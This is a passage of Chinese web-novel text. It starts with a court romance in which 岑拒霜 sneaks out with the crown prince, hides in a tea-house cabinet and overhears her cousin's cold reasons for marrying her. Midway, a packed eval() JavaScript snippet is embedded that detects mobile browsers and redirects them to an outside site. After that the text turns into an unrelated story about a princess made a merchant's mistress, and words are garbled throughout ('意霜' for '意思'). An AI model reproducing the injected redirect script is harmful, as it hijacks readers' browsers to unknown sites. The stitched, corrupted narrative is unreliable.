岑拒霜神色蔫蔫地望着地上咕噜噜滚了一遭的瓷盏,她起身稍显敷衍地朝太子行了一礼,“多谢殿下好意,我再自行想想。” 她头也不回地离开了正堂,踏出门槛时,管家正守在门外。 管家满脸担忧地关切着她,“姑娘,太子殿下他……” 岑拒霜心不在焉地交代着话,“好生招待着。吩咐伙房多备些生肉给狼送去。” 管家应允的间隙,岑拒霜已失魂落魄地往前走了一段距离。他看着岑拒霜的背影,亦敏锐地发觉她的心情很是不佳,与之前来到正堂时天差地别。 这是……被太子刁难了? 岑拒霜走出不远后,顶着沉沉珠翠的脖子又酸痛起来。 她缘着亭台旁的水榭走着,清澈的池水映着她今日精心打扮的模样,精致的妆容落在一张恹恹的脸上,怎么瞧着也难看极了,岑拒霜盯着平静无波的水面,内心抑制不住沮丧。 “你不会这么想不开吧?” 身后是太子的声音,岑拒霜本想回过头去,瞥见池中的自己哭丧着脸时,她的动作生生滞住,旋即将脸埋得更低了。 不过想到他竟以为自己在轻生,岑拒霜忍不住为自己辩解道:“我惜命得很,不然就不会想要出去走走了。” 太子看着她被压得疼痛的脖子,又睨了眼她衣袖下的胳膊,“看不出来,你是这样的‘惜命’。” 岑拒霜不用去想,也知太子定要调侃捉弄于她。 “那孤勉为其难地带你出去吧。” “殿下不必再……” 话方说出口,岑拒霜始才反应过来太子在说什么。 她猛然扬起脸,目光正对上太子的双眼。 他一本正经地说着,“孤一想到你若是死了,便再也见不到孤,孤就替你感到遗憾。” 岑拒霜忽有一瞬觉着,太子这自恋至极致的性子也不算坏事,沉入谷底的心绪渐渐浮出一角,她像是不确定般,嗓音激动地又复问了一遍,“殿下真的愿意带我?” 太子将她从头至尾打量了一番,“你这一身,如何出去?” 岑拒霜拈着发髻处的珠钗别在系带,脱下臂弯的软纱缠在垂落的青丝处,又利索取下颈间的璎珞环在腰间,鞋尖缀着的硕大珍珠也被她躬身摘来塞进荷包里。 短短眨眼的工夫,岑拒霜的扮相已变了个样。 岑拒霜余光发觉太子正盯着自己,后者见她如此似是感到新奇,她解释道:“我娘亲教我的,既能入宴招见客人,又能迅速脱装,提枪杀敌。” 太子问道:“那怎的在这杵了很久也不取下?” 听罢岑拒 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倏尔,脸边冰冰凉凉的湿意传来,她回过神时,天边晦暗无光,丝丝缕缕的凉雨沾湿着鬓角,街边的行人正匆忙往檐下避雨。 “殿下,先找个地方躲雨吧。” 眼见雨越发急骤,岑拒霜拉着太子的衣袖,随意挑了一间茶楼入内。 天变得太快,雨来得突然,茶楼已有不少人在此避雨,比肩接踵地挤着,皆待着雨势小些再行离去。 岑拒霜费了很大力气才寻了一个狭小角落容身。 她瞥见太子脸色有些难看,这才留意到他衣裳多了好些褶痕,本就松垮的衣袍变得略微不整,适才她只顾着拽住太子的衣袖入茶楼,如堵的人群挨挤之下,太子的衣衫便成了这般。 想来极为重视外表的太子,有朝一日会在茶楼里人挤人,衣袍还成了这样,能高兴便有鬼了。 “莫气,莫气……我来帮你捋捋就好了。” 岑拒霜趁着太子炸毛还未发作,她顶着太子欲要杀人的目光,为他整理着衣衫痕迹,又踮脚凑近他耳边低声说着,“臣女也是为殿下考虑,雨水弄湿了殿下的头发,就不好看了。” 旁处白胡子老伯吹胡子瞪眼地嚯了一声,“你们这些个富贵人家,瞧着就没挤过什么地方吧?这雨下起来,不管贫富贵贱,都得一样在这里躲着。” 岑拒霜听得冷汗涔涔,生怕太子发怒,连忙拉着太子便往茶楼里头走。 茶楼尽头有一静室,恰逢无人,岑拒霜带着太子入了内。 甫坐下,她听太子问,“你怕孤杀了他?” “他”自是指奚落太子的白胡子老伯。 岑拒霜攥紧了衣裙,她局促地答着话,“天子一怒,伏尸百万,臣女……” “孤杀他,像是碾死虫子一样简单,” 太子不以为意地说着,“但是孤对虫子不感兴趣。” 话落时,静室外一阵脚步声相近。 “时青这回可要来我府上坐坐,莫再推辞了。” 表哥来了? 岑拒霜心头一激灵,紧接着便听闻江逾白的嗓音应着来人所言。 “嗯。” 那疏冷的声音越来越近,就快要推开静室的门入内。 万万不能被表哥发现她偷偷溜出了府门。 她急得站起了身,拖着太子便往静室的柜子里钻。 23. 钻柜 隔开人声喧杂的静室内,清幽的焚香徐徐散开,混着茶水煮沸的淡淡香气。 太子正是寻着舒服姿势坐下的间隙,虽说这茶楼是简陋了些,但也勉勉强强能用。 忽见对座的岑拒霜脸色一变,她急步走来,拽着他的胳膊便往身后跑。 那向来软绵无力的胳膊自是拽不动他,几番拉扯之下,太子面色不悦地站起身,配合着她的动作。但没想到的是,岑拒霜会打开角落里的木柜,拉着他一起钻进空空如也的柜子里。 “快、快进来!” 彼时岑拒霜猫着腰缩进了柜内,还不忘心急如焚地唤着他。 太子瞄了眼这陈旧不堪的木柜,昏暗无光的内里不知藏了不少灰土污垢,他满脸嫌弃地欲拒绝之时,那双纤弱的柔荑拉着他的衣袖轻轻往里一扯,抬起的脸庞急得快要哭了出来,太子不耐烦地踏入了木柜。 木柜紧叩的瞬间,静室的门被推了开,透过木柜余留的狭窄缝隙,岑拒霜见到江逾白与另一公子哥入了内,二人掀起衣摆入了座,提壶斟茶。 她放缓了呼吸,生怕发出任何声响。 太子自然也瞧见了柜子外的光景,他低声在她耳畔道:“你躲你的,拉孤作何?” 漆黑一团里,岑拒霜不能眼见太子的神情,唯有他分明的轮廓线近在咫尺,由着模糊不清的光线勾勒。 她也一道反应过来,若是自己不愿被表哥发现,她只需临时找个地方藏起来,待表哥带人入了静室,势必会见到太子在此,届时根本不用太子刻意说什么,表哥他们也会自行离去。 可眼下,她已然拖着太子下水,藏进了这个柜子里,断不能在此时现出身来。 岑拒霜只能怪自己那会儿心慌意乱,根本无暇想那么多,下意识把太子当作了“同盟”,关键之时也没想过要把他丢下,这才导致了今时这样尴尬的局面。待表哥走后,她还得感恩戴德地感谢太子一番,今次帮了她那么多。 她轻声说着,“一时慌张,只想着躲起来,便忘了。” 太子动了动身,手掌抚在了柜门处,似是要破柜而出,“那孤现在就出去。” 闻及此,岑拒霜登时觉着似有一个大手倏地捏紧了她的心脏,旋即心脏止不住地狂跳起来,像是要跳出嗓子眼,她已是能够想到自己在这样的情况下暴露的后果,瞒着府上所有人擅自外出,又与太子孤男寡女共处一室…… 若当真到了这番田地,任凭她有一百张嘴,也无法说清。 惊慌失措下,她紧忙在摸黑抓住了太子的胳膊欲阻止,双眼也因太过于心切发热得厉害。 “别出去……求你了。” 微颤的声线欲泣,旋即便有断了线似的泪珠潸然,缘着她的面庞滑至下颌,啪嗒啪嗒地落在太子的手背上。 太子抓着柜门的手松了开,语气惯来满不在乎,“哭也无用,孤最喜欢看女人哭。” 话音方落,手背处温热的泪水淌得似是更多了些,浸在青筋纵布的表皮,散发着咸涩的味道。 太子往柜内一靠,似是极为不爽,“……孤日后再找你算账。” 岑拒霜这才止住了泪,出于愧疚,她缩在一旁,试图为太子腾出更为宽松些的空间。 这逼仄的柜中并不好受,许是这木柜多年未用,发朽的难闻气味缠绕在鼻尖。而她甫挪动着身子,便因施展不开无法移动毫厘,岑拒霜艰难踩着步子,正是尝试移动的间隙,她没能把控好平衡,反是整个人往前扑在了太子腿上。 浓烈的龙涎香萦怀,灼热的体温沾染在她的面庞,岑拒霜挣扎着便要起身,手肘胡乱找着支撑点时,似是压着了什么硬.实滚.烫之物,太子喉咙间压抑着痛吟的嗓音当即从头顶传来。 “嘶,你想死么?” 岑拒霜茫然抬起头,她奇着自己并未感觉到疼痛,只得低声解释着,“这里太黑,我,我看不清……” 太子一把拎过她的衣襟,把她提了起来,“别动。” 岑拒霜安安分分地没再动了。 可眼下这样的距离实在太近,她几乎是坐在了太子的腿上,他发热的呼吸如流水越过她的胸前襟口,不多时,她感受到自己襟口的位置渐渐化作了一片潮热的湿意,又被他温凉的鼻息拂过,酥痒至极。 她想要避开这古怪的异样感,便又稍稍起了身。 “再动,孤把你的腿砍下来。” 太子强忍着想要离开这破柜子的冲动。 先前岑拒霜手肘撑着的位置还隐隐作痛,险些让他成了太监,如今她坐在他的腿上,仅有几层薄薄的衣裳相隔,她偏还不安分地移来动去,女子独有的软香近畔,那等圆.润柔.软切切实实贴紧着,于黑暗之中更加凸显,尤为磨人。 听闻太子所言,岑拒霜顿时不敢动了,只得维系着半挂在太子身上的姿势,比之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814253|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前稳坐在太子腿上还要难受,没过一会儿,她便双腿发软,难以支撑。 太子皱紧着眉,又再拎着她的衣襟把她放回了原处。 延续着之前的折磨。 …… “说起来,上回在赏春宴,我见到了岑家那个小姑娘,倒是生得可爱,难怪你这些年为了她少有出门。你当真打算为了她,弃掉京中其余女子吗?” 柜子外传来男子声音,岑拒霜听到其话中提到了自己,便偏过头朝缝隙外看去。 男子背对着柜子,与江逾白对坐,听声线,这人依稀是薛家二郎,也就是宁妍的准驸马。 薛二郎续说着话,“听映萱讲,花朝节那日,好些姑娘都等着同你相约,结果你只是去把香囊归还给了方家小妹,然后就走了,如此不解风情,我还真替那些姑娘可惜。” 江逾白的面容看不出多余的情绪,他徐徐缓缓地斟着茶,嗓音未有一丝波澜。 “我只能娶小霜。” 岑拒霜睁大了眼。 她从未想过表哥会娶自己,日复一日的相处,她早已把江逾白当作亲哥哥一般,所以在与江逾白意见不合并产生争执时,她更为伤怀。 太子挪眼看着怀里的岑拒霜,他自是能感受到她的轻颤,木柜缝隙的光亮恰是落在她满是惊色的面庞,像是第一次知悉这桩事一般。 薛二郎摇了摇头,“你那表妹虽好,但毕竟身体太差,你是未来的江家家主,将来怎能没个一儿半女呢?” 江逾白抿了一口茶,白雾氤氲间,岑拒霜几近看不清他的脸。 偏听他不疾不徐地说着,“江家如今在京中尚且风光,十年后若无再进,便几无立足之地。岑家这一代直系血脉单薄,唯有小霜一个女子,我只能娶她。将来她若无所出,妾室的孩子便是她的。” 岑拒霜躲在柜子里,紧紧咬着下唇。 又是利益。原来自己在表哥眼里,只是一枚连接江岑两家的棋子,他想要娶她,非是因为她是岑拒霜,而是因为她是岑家的女子。换而言之,若是岑家直系血脉有任一适龄女子,他的选择便不会是她。 那她呢?她岑拒霜究竟算什么呢? 薛二郎良久才开口,“我还以为……你对你那表妹,情根深种。” 而下一刻,江逾白所言将岑拒霜的心彻底打入谷底。 “照顾她,是五年前祖父交予我的任务。” 24-30 第 24 章 提亲(文案内容) 天沉欲倾,细雨纷垂。 卧房内,岑拒霜独坐于半开的窗扇边,双目遥看着庭院里的烟雨披蒙,任由刺骨的凉风吹拂着发梢。 她已是不记得自己那日是怎么从茶楼静室的柜子里出来,又是怎的回了府。 依稀有的一点印象是,江逾白走后,她踉踉跄跄地从茶楼而出,不管不顾地冲到了雨里,连同太子在旁说了什么她也没能听清。 今日岑拒霜有了些许力气后,便费力拖着沉重的身体坐在了窗边。 屋外廊庑下来来回回的脚步声不歇,流岚在大夫的授意下带着院里的下人们为她熬煮汤药,偶尔急得自说自话,念叨着“侯爷快要回来了,若是瞧见姑娘这般模样,定是心疼不已”,“江公子这几日要事缠身不能过府,咱姑娘可如何是好”云云。 岑拒霜望着案上放凉了的药,心头的苦涩如涌。 她这十余年来识人寥寥,往前在边关时,身边只有父母;到了京中这五年,最为信任与依赖的,不外乎是叔父与江逾白二人。 如今到头来,竟是告诉她,江逾白对她的用心全是假的。 她所珍视的,好不容易得来的亲恩亲情,在他眼里是不值一提的无用之物,甚至是为谋得利益的工具与桥梁。 岑拒霜的卧房并不算大,处处皆有着江逾白相陪作伴的痕迹,他曾挑灯翻遍医书,守在她榻前寸步不离,还有那角落里放置得有些落灰的轮椅,亦是江逾白曾不厌其烦带着她走遍四处所用。 她细细回想着这五年,发觉自己难以分清到底他哪一面是真,哪一面是假。 又或是说,所有都是假象,都不过是为了最后能够娶她的苦心经营。 真是荒唐,真是可笑。 雨依旧未歇。 岑侯爷接到岑拒霜生病的传书后,冒着雨快马加鞭赶回了京城。 彼时侯府门前,疾驰的马蹄高高扬起,岑侯爷勒绳翻身下马,披风处的雨露还顾不及拂去,便将缰绳匆匆扔至马夫手里,大步流星地跨入了门槛。 岑侯爷步至岑拒霜卧房门外时,她回了榻上小睡。透过半掩的屋门,岑侯爷瞧着那雪白的面容上没有一丝血色,绒毯覆着的身形羸弱盈盈,比之他那会儿离府前更显病态,心疼不已。 他欲进屋之时,又在门边顿住步子,脱下满是寒气的披风交予流岚,压低声问着,“怎么弄成这样?” 流岚红着眼,哭哭啼啼道:“回侯爷的话,那日太子殿下至府上,姑娘代您见驾。而后变了天,殿下忽然抱着浑身是泥的姑娘回来,说是姑娘在雨中晕倒……大夫赶来瞧了,说姑娘受凉,又郁结于心,恐难以好转……” 闻及太子,岑侯爷拧起了眉,又问:“小霜今日可进食了?药用了吗?” 流岚摇了摇头,“姑娘近来食欲不佳,醒时也不肯用药,只有昏睡之时才能咽下一二。” 岑侯爷杵在门前良久,接连叹着愁,最后只是轻轻把门掩上,嘱咐着流岚便离去,“去给姑娘被窝里的手炉添点炭,注意别添多了,小心烫着。我还需进宫述职,姑娘若是醒了,好生照看着,等我回府。” * 次日,天刚有些亮意,岑拒霜就被子弦叫醒了。 子弦和岑拒霜小声解释,他们郎君行商,继母觊觎家产,妄图害死郎君,所以,要在漕县暂避几月风头。 因着睡前哭过,岑拒霜眼睛微肿,但醒后已经接受现实,只想着能好好保住性命。 她在心中疯狂盘算,行商就意味着有钱。姜国对商者宽和,后嗣亦可为官,不受歧视,故而,从商者甚多,国富有余。 可她听闻东淮商者为贱,子孙不得入官场,甚至衣着配饰都有所限制。 但此刻,这不是最重要的,关键是商者离农本,四处游历,按照子弦所言,他们一行人只会在此呆几个月。 这时外室的好处便显然出来,几月后,她留在此地,岂不是逃走的大好时机。 岑拒霜又偷偷瞄了一眼静静立于窗边的裴述,昨晚月色昏暗,看得也模模糊糊,不真切,如今仔细去看,他长得算是可以。 身姿欣长,宽肩窄腰,他面庞线条亦柔和,气质干净,瞧着是个温润好脾气的郎君。 昨日,也是这点给了岑拒霜错觉,看他好说话才求上他,她以为这样的郎君不会太过为难人。 但今日细细看来,虽然装得温和,但眸中时而翻涌的阴沉是无法骗人的,他定然心机颇深,手段狠辣。 裴述侧头,黑眸正好与偷摸打量他的岑拒霜对上,她不自觉打了个寒颤,随后赶紧转头,认真听着子弦的话。 她心中默念,算了,算了,几月而已,忍忍就过去了。万一遇见了来寻她的人,说不定还能早点回去。 落在他手里,起码比在青楼应付那些肥头大耳、亏空身子的油腻男子强。 子弦说,他们最近都要住在民巷中,岑拒霜想想就觉杂乱,但这郎君是商者,不能明面奢靡也没办法。 岑拒霜站起身,没人服侍,她只好自己动手理了理外袍。 往日她的贵重蚕服、深衣穿都穿不过来,更别提沾上尘土的男子衣物,但此刻,岑拒霜直接将昨日的外袍披在身上,完全没有还回去的意霜。 罗南无法忍受,只觉岑拒霜不要脸面,虽然还回来,他们殿下也不会再要,但对方根本没打算还,还理所应当,这就是另外一回事。 他出言,“喂,那边的。” 岑拒霜闻声四处看了看,这处除了她们四个没有旁人,她这才确定,对面这个浓眉大眼,高大方正看起来傻乎乎的人是在叫她。 外袍逶迤托地,将整个人都罩得严严实实,岑拒霜也没了昨晚的委屈,境遇一改,没有生死的危机,往日的矜贵又出来了。 有人这样没礼貌地喊她,她已经有些许不悦,但在此处也只能忍下这群粗鲁之人。但她还是下意识微微仰头,“何事?” 问完,她站在门口,转头正对着庙门,远眺着,只余一个侧脸。 罗南突然有种平常殿下问话的错觉,他顺着岑拒霜的视线往外望,黑黢黢一片,只有几盏破旧的灯笼被风扯着晃,完全没有一点值得看的景色。 若不是她头发凌乱,还沾着几根稻草,罗南都要以为这是从何处出来的贵人了。 而岑拒霜等了片刻,没听到回答,就直接转身走了过来,步步皆优雅,若忽略穿着的话,当真是仪态万千。 罗南不知她为何走得那么近,往后退了几步,岑拒霜却没给他一个眼神,她径直走到了裴述身前,到两人只有半步的距离时,才停下。 最重要的谈判,她想要有些气势,但她在女子中也算高挑的了,裴述却还是比她高出一个头,估摸错了距离,岑拒霜给仰着头才能看清裴述。 失了些许气势,但此刻往后退,更显得底气不足。所以,她抬头,没顾面前郎君不适的神色,直白问道:“我同意了,郎君就不会杀我?” 裴述稍微低下头,近距离看清了岑拒霜。 她昨日面上的脂粉都已被冲无,素面却肤白胜雪,尖俏的鹅蛋脸,眸潋滟有神采,微挑的眼尾透着骄矜。 倒是如昨日罗南说的那样,长得不错。 但那股子无意透露出的骄纵的劲头让裴述厌恶,他讨厌自负傲气的人。但他更讨厌麻烦,所以颔首。 岑拒霜在心中嗤了一声,果然是见色起意,小人行径。 不过没关系,过了一夜,她彻底想开了,就当被条好看的狗咬了几口便好。想起昨日,这是个不能硬来的郎君,她装得可怜,“既如此……郎君也会保护我的吧?” 若得知她跑了,赵姬是不会就此罢休,还会派人来抓她的,还是活命更要紧些。 裴述身侧的手,稍微攥紧些,忍着将她丢出去的冲动,从鼻腔里“嗯”了一声。 这就够了,岑拒霜心满意足,部下定会来寻她的,离开只是早晚的问题。她又补上一句,“那郎君记得,要对我好一些。” 此女定然被殿下记恨!罗南怕殿下同样记恨让其忍受这女子的他,立即站出来道:“你不要不识好歹。” 岑拒霜转过身来,并未理会罗南的话,直接问道:“你是他下属?” 罗南原本是想让其知些分寸,但被岑拒霜拐带得先应答了一下,他下一句话还没说出来,岑拒霜就快嘴道:“白日帮我买些衣裙鞋袜,要料子柔软,贵重些的,敷面的薄粉也带上一些,香膏也要,暂时就这些,麻烦。” 使唤完人,岑拒霜看了眼裴述,随后重新走回庙门口往外看。 罗南方才呆呆点了头,不知为何,下意识就听了她吩咐。但他很快便反应过来,上前几步,语气不善,“我为何要听从你的吩咐?” 岑拒霜:“你不是他下属么?” 罗南也后知后觉地明白了岑拒霜的逻辑,他是是殿下的下属,如今这女子成了殿下的外室。 那么,那么他也就成了她的下属,当然要听从她的吩咐。 罗南都要被气笑了,罗家何等大族,其下子弟在朝中多为重臣,就连他,等殿下继位,姐姐为后,也会被封侯,如今为何要听一个来路不明女子的话,他上前,“你不过——” 他话还未说完,又被打断了。不过这回打断他的是裴述,裴述不耐道:“都住嘴,早些走。” 岑拒霜与子弦走在前面,不与罗南为伍。她脚下都被磨破了,即使痛极,也要端正地走着。 七拐八拐终于到了个狭小的民巷,罗南上前,从袖间拿出钥匙,将大门打开。映入岑拒霜眼帘的,是干净但小得不得了的院子,大概只有一进。 院子中央种着一棵桂花树,经了昨日的破庙,岑拒霜竟然觉得还不错。 罗南还是尽职的,院子是早就准备好的,甚至做好了久居不出的准备,备了衣物和粮食,他伸手往里比了比,“郎君,里面有衣物,可去换洗。” 裴述自然地抬步往前走,刚走了一步却突兀停住,侧头,见他旁边的岑拒霜怯生生地拽住他衣袖一角,眸中带泪。 裴述:“何事?” 岑拒霜哽咽道:“郎君,我衣不蔽体,如今……” 明显是想先去沐浴更衣。 “你——”罗南实在不知,这世间竟有如此没有眼色的女子。而且当面一套背后一套,欺下媚上,当真无礼! 虽然对罗南无礼,但岑拒霜对子弦态度一直不错,子弦从小长在宫里,没有亲人,岑拒霜像是长姐般对他,他已然有几分倒戈,小声道:“比起郎君,郑娘子确实更急迫些……” 裴述稍偏头,看她眸中水雾涟漪,稍怔,从她手中扯出了自己衣袖,但并未再往前走。 看样子是同意了,岑拒霜快步走进屋子,然后将门紧紧关上。 罗南也不是一点礼让女子的风度都没有,只是觉得岑拒霜冒犯了裴述,怕睚眦必报的殿下也记恨上他。 但他见裴述毫不在意,放下了心,却也有些担忧殿下真的被此女蛊惑。他暗暗下定决心,以后要多看着两人。 门扉之中又传来女子声音,“子弦,我要热水。” “来了!”子弦跑去小柴房烧水,又将烧好的水放在门口,岑拒霜又拿了进去。 三人在院中等了许久,岑拒霜才走出来,外面却罩着宽大的男子衣袍。 见清样式,罗南心头咯噔一下,对着裴述尴尬解释道:“没备女子的衣物……”而且看样子,此女挑的还是……他给殿下准备的。 他气急,质问岑拒霜,“子弦同你差不多高,你怎得不选小些的?”该不是看殿下气度不凡,故意选这个,准备顺势勾引殿下的吧? 岑拒霜坦然道:“这个料子更好啊,别的不舒服。” “算了,”裴述抬眼望着岑拒霜,“会煮饭么?”只有粮食和水,还有一些不易坏的青蔬,一行人都已许久未进食,腹中都有些饥饿。 岑拒霜理所当然地摇头,她一个公主,为何要会这些? 场面凝滞许久,岑拒霜咬死了不会,甚至连灶都不会起,裴述更不会亲自做这些,子弦年纪小,也不会。最后由罗南去做。 主仆三人坐在院中的石桌上,这时不必太过注重尊卑,惹人生疑,子弦好心地将屋内休息的岑拒霜叫了出来。 岑拒霜也饿了,但她走近,见清是混成一团、像是烧糊了,黑乎乎还带着汤水的东西。她十分嫌弃,小声嘟囔着,“这是什么鬼东西?像泥水一样。” 裴述动作一顿,“这是麦饭,不愿吃便不吃。” “哦,”岑拒霜转身就走,又小声嘀咕着,也回答了裴述,“宁缺毋滥,吾不食。” 子弦为难地回过头去,亲眼见着裴述面色难看,放下筷子,碗里是岑拒霜口中的泥,他已经用了半碗…… 罗南对着裴述抱怨道:“她以为她是谁?我做的东西,殿下都没说什么,她还宁缺毋滥,当真是好大的口气。” “闭嘴。”裴述忍无可忍。 罗南开始闷头吃饭,心中却吐槽着裴述,怎么不斥责那个女子,莫不是看人家好看? 岑拒霜一直呆在东厢房,三人到了西厢房商议,正好避着岑拒霜,也算安稳地过了一日。 天色已晚,裴述走后,罗南回想起这一日的憋屈,对着子弦道:“等着吧,殿下一定会把那个女子,丢出去,让她睡柴房的。” 不同于罗南的幸灾乐祸,子弦却很担忧。 为了不引人注意,只找了个小院子,一个通畅的堂屋连着东厢房,西厢房已经住了罗南和子弦。裴述又不喜与人一起住,更何况是个女子,那便只剩那个破旧的小柴房了。 其实,岑拒霜当真是如此想的。 一开始她确实以为裴述是见色起意。但后来,她渐渐发觉,不是如此。再如何遮掩,他看她时,眉眼间是止不住的嫌弃。 甚至不愿意离她太近,在岑拒霜路过他时,会侧身稍稍避开,生怕她碰到他一片衣角。 在她扯他衣袖时,眼神像是要砍了她的手。经过一天的试探,岑拒霜发觉,他当真不喜她。 岑拒霜将此归咎于他眼瞎,让她当外室或许也是有什么阴谋。他都避着她走,当然也不愿意有身体上的触碰,这可再好不过了。 再联想起子弦一开始的话,他们郎君缺个外室,是缺、而不是看中她了,这当然有很大的差别。 但岑拒霜再次错看了裴述。 此刻,她退无可退,垂头,看着那只骨节分明的手,顺着她脸庞滑下,最后停在她脖间。 他手微凉,在她脖间若即若离地划着,手指细细抚过昨日红肿的剑痕,似是略有疼惜。有些许痒意,但岑拒霜不会觉得他是在欣赏她美色。 他认真打量的神色,好像在找一个合适的位置,随后,猛然下手,狠狠掐住她脖颈。 想清这茬,岑拒霜霎时沁出一身汗来,更是害怕,仍然往后退,冷不防从床上掉下来,带着被子重重摔在地上。 顾不得丢脸,岑拒霜抬头见清裴述垂眸睨她的淡泊眉眼,又一次感觉,他比她想得可怕多了。 她匆忙站起来,抱着被子一起,将他要杀她、折磨她的意霜曲解为亲近,装糊涂,略有羞意道:“那个……郎君咱们还不太熟,有些亲密的事,还是以后再做吧。床让给你,我先走了哈。” 说完,她一瘸一拐地拖着步子赶紧离开,当真是呆不下去了。 只余裴述,看着她走远的背影蹙眉,又回头,见床上空空荡荡。 她将上面的被子全抱走了。 他当真……从未见过如此不知分寸、厚颜无耻的女子。 昨日岑拒霜脚便受伤了,又从榻上摔了下去,如今腿上也痛,定然磕得一片青紫。 她拖着被子,只出了内室,外面那么冷,她绝对不会去住脏污杂乱的柴房。 她的目光在空荡简陋的房中扫来扫去,最后停在屏风前的案几上。 次日天还未亮,裴述就起来了。昨晚他以为那女子应当会去寻罗南,子弦,将他们两个赶出去,还要闹上一阵儿。 却没想到,她根本没出去,房里很快没了声响,他懒得去管。 他刚出内室,就见正堂换了样式,昨日是食案小几上置花瓶,屏风在后,也有些典雅意。 如今屏风被挪到了前面,歪歪斜斜的放着,透过薄纸样式的屏风,能见清案几上依稀躺着个长条被团子。 裴述脚步稍停,但他并没有窥探旁人如何去睡的癖好,视线移开,他径直走出门外。 关门的声音响起,岑拒霜才从被子团里探出一个脑袋来。 缓了缓,她坐起身,腰酸背痛,浑身疲累,她将筵席全都拼凑在案几上,将被子铺上去,缩成一团才凑合着勉强睡下。 即使这样憋屈,不得伸展腿脚,她也不会在地上睡的! 算起来,她已有一天一夜都没用过膳了,如今饿得不行,浑身都没有力气,眼前阵阵发黑。 在用晨食之时,罗南端上煮饭的釜,发觉石桌上多了个人,是垂着头,怏怏的岑拒霜。 他暗暗称奇,女子变化是真快,仅仅过了一晚,她便一改昨日的嚣张,安分坐着等吃饭。 只不过,罗南早起时,柴房并没有人。那么,此女昨晚没被赶出来,是在东厢房住的,今日变化就如此大,莫不是,殿下他…… 子弦咳嗽几声,唤回了罗南八卦的霜绪,但他看岑拒霜的目光逐渐变得愤愤,心中更对不起阿姊了,是他考虑不周,才引狼入室! 岑拒霜面前也多了一碗黑乎乎的麦饭,她闭上眼睛,才能忽略其难以下咽的外表,依稀闻到几丝麦的香气。 复又睁眼,她一鼓作气,拿起勺挖了一小口。 粗粝的口感,她有些咽不下去,索性又挖了一大勺,全都送进了嘴里,混着汤汁勉强一口咽了下去。 麦饭,磨麦合皮而炊,连带着麸皮一起煮,是家中贫苦、或是贪图简单省事才如此做。 其粗粝难吃不言而喻,岑拒霜贵为公主,从来都食细致之物,头一次咽下带皮的麦。 她控制不住地干呕几下,即使青楼供得也是干饼,比这精细些。 旁边三人都愣住了。都觉她昨日过于颐指气使和跋扈,是故意挑挑拣拣。但此刻才知,她当真吃不惯这样的东西。 姜国虽没有东淮兵强马壮,但民间富裕,过得比东淮滋润许多,也不常食麦饭的。 岑拒霜转过头,很饿,但看着那碗黑乎乎的东西,实在食不下去,看着裴述小声,可怜巴巴道:“我想吃饵饼。” 那才是姜国人吃惯的东西。姜国人喜食饼,即使贫民也食饼。 而饵是稻米磨成粉,最后蒸熟的饼子。据岑拒霜所知,东淮的街上,也有将饵饼当成小食来卖的摊子。 女子美眸中盈盈带泪,是方才干呕所至,稍微抿着唇,神色略有拘谨又带着些许期盼,很难不让人心软。 裴述张口,刚想说话,却有咳意涌起。他偏头,掩唇轻咳几声,随后道:“明日不用给她备饭。” 罗南以为殿下是心软了,准备给她买饵饼。虽然不喜此女,但也不能看着她饿死,他点头,今日出去买东西时记着。 但对面的女子闻言,却直接埋头大口吃起了麦饭,眼瞧着几滴泪落在饭里。昨日挑挑拣拣的人,今日几大口便把整碗都用完了。 她起身,说了一句食好了,便忍着脚痛快步走回房去,只余桌上的摆得端正的碗筷。 还不用给她备饭。岑拒霜明白裴述就是威胁她,人死了就不用备饭了。 对啊,死了就不用吃东西了。罗南再看裴述时,表情充满敬佩,当真是郎君无情,有了肌肤之亲,都不会有一丝心软。 连个饼子都不给买,那他也就放心了。 而裴述未再出言。 因为对岑拒霜有些许怜悯,白日罗南给她送了几套布裙回来,虽然料子不够好。但起码有穿的了,岑拒霜勉强接受。 只剩她和子弦在家,岑拒霜深知子弦就是被留下来看着她的,但子弦听她的话,也不算太糟。 可子弦被裴述嘱咐过,不论岑拒霜如何问,子弦也说不出什么有价值、能透露几人底细的话,她只得作罢。 午后,大门突然被敲响,子弦上前,问了一句来人是谁,是一妇人的应答声,“妾姓赵,是住在旁边的宋氏妇,此处住的可是高氏郎君?” 在子弦的示意下,岑拒霜打开门,她只露出去一个脑袋,点了点头。 赵孺见清岑拒霜,觉得传言果然没错,即使只是个外室也如此貌美,她被惊艳几瞬,这小脸白嫩的,可比巷头卖豆腐的女儿好看多了。 岑拒霜察觉到对方露骨的打量,有些许不适应,但因赵孺是女子,她也能忍着,看着对面妇人富态的脸,她问,“何事?” 赵孺是亭长之妻,平日帮管着附近巷子的民户,通常都是被十余户妇人敬着的,冷不防被个外室如此冷待,还有些愣怔。 但岑拒霜长得过好,又与赵孺刚嫁到旁县的女儿差不多大,赵孺霜女,也就没多计较,“女娘,附近的娘子们听闻来了新妹妹,都想聚上一聚,不知女娘明日可有空?” 岑拒霜果断摇头,“甚忙,你们聚吧。” 等了一会儿,她见赵孺还站在门口,有些呆愣地看着她,她又有礼节地问了一句,“请问还有事么?” 赵孺摇摇头,随后,岑拒霜向其颔首,表示有缘再见,就将只开了一条缝的大门关上了。 赵孺看着禁闭的大门,觉得这个外室有些怪异,但又说不出具体哪怪,她只能边琢磨边着往家中走。 苍穹挂着稀薄的云,天色沉黑时,裴述与罗南才回来。 岑拒霜如今尽量避着两人,那难以下咽的麦饭,她也是能不吃就不吃,她留着一口气,能撑到回国就行。 外面三人应当在用膳,过了一会儿,子弦又进屋来,将岑拒霜叫了出去。 猜到是有事,岑拒霜也学聪明了,不主动说话,等着旁人开口问。 果然,裴述问她:“为何不答应赵氏?” 明显是子弦通风报信,将今日事逐一告诉了裴述。 岑拒霜垂头道:“我不愿意。” 裴述又追问:“为何?” 岑拒霜:“我讨厌姓赵的人。” 东淮为了民间安稳,实行连坐制,民户间互相监督,能有效抓到藏匿的逃犯。 如今他们顶了高家郎君的身份,就需和邻居打好关系,才不会引人怀疑。 